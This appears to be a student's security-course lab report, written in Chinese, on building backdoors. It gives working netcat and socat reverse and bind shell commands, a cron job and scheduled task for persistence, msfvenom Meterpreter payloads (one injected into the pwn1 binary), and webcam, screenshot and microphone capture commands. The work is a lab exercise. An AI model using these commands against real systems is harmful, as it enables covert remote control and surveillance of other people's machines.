20192431张潇文 实验二 后门原理与实践 实验报告
实验二 后门原理与实践
一 实验原理
1.1后门原理
后门原理:后门就是攻击者在想要攻击的目的主机上留下的可以隐藏自己,获取目的主机的控制权或系统访问权的方法。后门可以通过发送邮件或者文件,把后门绑定在这些文件邮件中,点击的话就会运行木马程序。或者攻击一台主机以后通过传送的方式,把后门留在电脑中。
1.2 ncat及socat及Meterpreter工作原理及msfconsole的使用
- ncat是可以进行远程连接的,在Linux通常是自带的,可以使用man nc来查看nc的相关命令。以前在信息安全概论上用过NC主要是进行端口扫描的,可以用Ncat来分析对面使用的操作系统是什么,也可以发现分析一些漏洞。本次实验中,多次采用了nc -l -p来进行指定端口号的监听。而本次实验中的任务1,以及创建后门的时候文件的转发都使用了ncat。nc命令可以用来在系统装创建后门。
- 常见的nc命令:
-l, --listen 连接和收听到来的连接
-p, --source-port port 指定使用特定的源端口
-e --exec 执行传递的命令行
利用nc拷贝文件:需要用到输如输出重定向符号 > <
一般过程:先利用输入重定向让文件传到攻击机的端口,然后在另一台机器上,在这个端口监听,并输出重定向到指定的文件。 - socat原理:socat可以当作是netcat的加强版,在两个数据流之间建立通道,且支持众多协议和链接方式,用于连接远程端口,获取shell。
- socat命令格式:socat [options] 。socat所做的工作就是在2个地址之间建立一个Pipe用于发送和接收数据,有的时候可以指定TCP,就说明是建立一个TCP连接作为数据流。
- Meterpreter:是一个用于生成后门程序的工具,在任务5中使用MSF生成shellcode的时候就会使用到。常用的命令:
-p 使用的payload。
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
输出到哪个文件
- MSF生成shellcode,MSF生成shellcode,要确定使用什么样的payload的时候,使用
msfvenom -l
可以查看所有的payload,选择对应功能的paylode就可以了,比如说任务五是想要生成一个反弹式shell,就选择对应的即可。总之就是要确定payload,确定要生成的shellcode类型,确定攻击ip,攻击端口号,生成什么类型的文件。比如本次实验就是要注入到pwn1这个可执行文件中,所以用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中,并且要重新写入一个毒化后的可执行文件里,并且把其放入到指定的靶机里。 - msfconsole:
Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。常见的功能指令的意义:
使用攻击模块:(本次实验中在任务5,任务4中都有用到此条指令)
use exploit/multi/handler
查看需要填写的参数:show options
设置地址,设置payload:都使用set指令
监听:exploit
二 实验任务
任务1 使用netcat获取主机操作Shell,cron启动某项任务
实验过程:
-
用Ipconfig在windows上查看自己的ip地址,用ip addr查看kali的地址。在windows中反弹连接kali,前提有以下几个方面:
要求kali的防火墙关闭,但我的实验中并未遇到防火墙的问题。此外要求kali的ssh服务开启,开启ssh的命令是service ssh start
windows中安装好了ncat。
在windows中输入命令:ncat 192.168. 10.141 5301 -e /bin/sh
在Linux中输入命令:nc -l -p 5301
开启监听
可以看到windows和kali可以进行通信了;
-
kali的主机操作windows的shell,只需要在windows下输入命令
ncat.exe -e cmd.exe 192.168.10.141 5301
,
linux下依旧使用步骤一的开启监听,就可以发现可以看到了windows的cmd,输入dir可以看到windows的当前目录
-
windows下获得一个linux shell,在kali中输入:
nc 192.168.10.36 5301 -e /bin/sh
然后在cmd里开启监听就可以获得Linux的shell. -
cron启动某项任务:crontab用于设置周期性被执行的指令,在Linux下输入:
crontab -e
可以添加任务区,第一次的时候要选择编辑器3。 -
按I键Insert,在最后一行添加代码:
20 * * * 1/bin/netcat 192.168.10.36 5301 -e/bin/sh
表示每周一每小时的第二十分钟反向连接windows主机的5301端口,然后按ESC,:wq保存并退出。
-
时间到了11:35的时候打开windows输入
ncat.exe -l -p 5301
可以看到cmd获得了kali的shell。
任务2 使用SOCAT获取主机操作SHELL, 任务计划启动
前提:windwos下载好了socat,解压使用,
实验过程:
-
在Windows单击【计算机】—【管理】—【任务计划程序】下【任务计划程序库】,选择【创建任务】
-
确定好触发器触发的时间,建触发器。并且要填上相应的参数:tcp-listen:5301 exec:cmd.exe,pty,stderr这个命令的作用是把cmd.exe绑定到端口5301,同时把cmd.exe的stderr重定向到stdout上。可以看到任务以及可以就绪了。指定时间windows会出现cmd窗口,和安全提示
Linux输入socat-tcp:192.168.10.36
完成连接,可以获得windosshell,输入Ipconfig可以验证。
任务3 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
实验过程:
-
现在kali中使用
msfvenom -p windows/meterpreter/reverse_tcp 172.16.218.133 LPORT=5322 -f exe > backdoor5322.exe
在linux里生成后门程序。
用Ls查看这个后门程序是否已经在kali里了。 -
在Windows下执行
ncat -l 5322 > backdoor5322.exe
这样使得被控主机进入了接受文件模式。 -
在kali中执行
nc 172.16.221.67 < backdoor5322.exe
ip是被控的主机ip。 -
可以在windows下看到该文件
-
MSF打开监听进程
输入msfconsole后进行如下操作:
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 172.16.218.133,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5322,同样要使用相同的端口.
然后exploit, -
运行windows下的后门程序
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
图
任务4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 常用的指令:
webcam_snap
摄像头拍照
screenshot
截屏
record_mic -d 5
截获一段5s的音频
任务5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 实验分析:
确定使用什么样的payload的时候,使用msfvenom -l
可以查看所有的payload,选择对应功能的paylode就可以了,比如说任务五是想要生成一个反弹式shell,就选择对应的即可。总之就是要确定payload,确定要生成的shellcode类型,这次要求的是在linux/x86的,获取反弹式shell,所payload要选择:inux/x86/meterpreter/reverse_tcp。确定攻击ip,攻击端口号,本次就攻击自己的这台kali即可。生成什么类型的文件。elf可执行文件。比如本次实验就是要注入到pwn1这个可执行文件中,所以用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中,并且要重新写入一个毒化后的可执行文件里,并且把其放入到指定的靶机里。 - 实验步骤
输入:msfvenom -p linux/x86/meterpreter/reverse_tcp Lhost=172.30.0.115 LPORT=4444 -x ./pwn1 -f elf > pwn20192431shellcode
,Lhost也可以写成127.0.0.1
接下来,打开msfconsole
依次输入:use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.30.0.115
set LPORT 4444
exploit
然后在最开始的终端运行pwn20192431shellcode,在msf控制台可以看到已经成功调用了shell
三 实验问题及解决方案
- 在任务三当中,最开始在windows上找不到backdoor程序。原因是因为,我没有先在Linux里生成backdoor文件,搞错了实验的本质,应该是先在虚拟机上生成这个文件,然后通过nc传输到windows里,而不可能直接在linux里生成文件到windows里后来经过修改成功了,
- 在任务五当中,在最后运行那个pwn20192431shellcode的时候,始终报段错误,并且在msf当中也没办法获得shell,如图:
原因其实是因为我在msf当中设置payload的时候和我生成payload时候的两个负载不一致,一个是linux/x86/meterpreter/reverse_tcp,另一个是linux/x86/shell_reverse_tcp,所以就错误了。修改一致以后成功。
3. 运行文件的时候出现了permission deny。
解决方式使用chmod u+x*
提权,就可以运行了。
四 回答问题
- 例举你能想到的一个后门进入到你系统中的可能方式?
可以把程序绑定到一个电子邮件里,你点开电子邮件程序就植入到你的电脑里,或者在网络资源里下载某游戏,某个软件,这些软件绑定了后门程序,一下载就自动进入自己的电脑。熟悉的人借助U盘等工具,植入你的电脑当中, - 例举你知道的后门如何启动起来(win及linux)的方式?
linux下就是cron启动
windows下可以修改注册表,自启动程序,或者编写一段代码实现自启动功能。 - Meterpreter有哪些给你映像深刻的功能?
MSF生成木马并连接,msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地端口
很方便,都不用找地址就可以直接生成。 - 如何发现自己有系统有没有被安装后门?
通过杀毒软件的定期查杀,或者看任务管理器当中有没有一些自己没下载过的软件,防火墙。
五 实验感悟
体会msf功能的强大,更进一步的了解了后门的含义。也对Payload和shellcode有了一定的区分。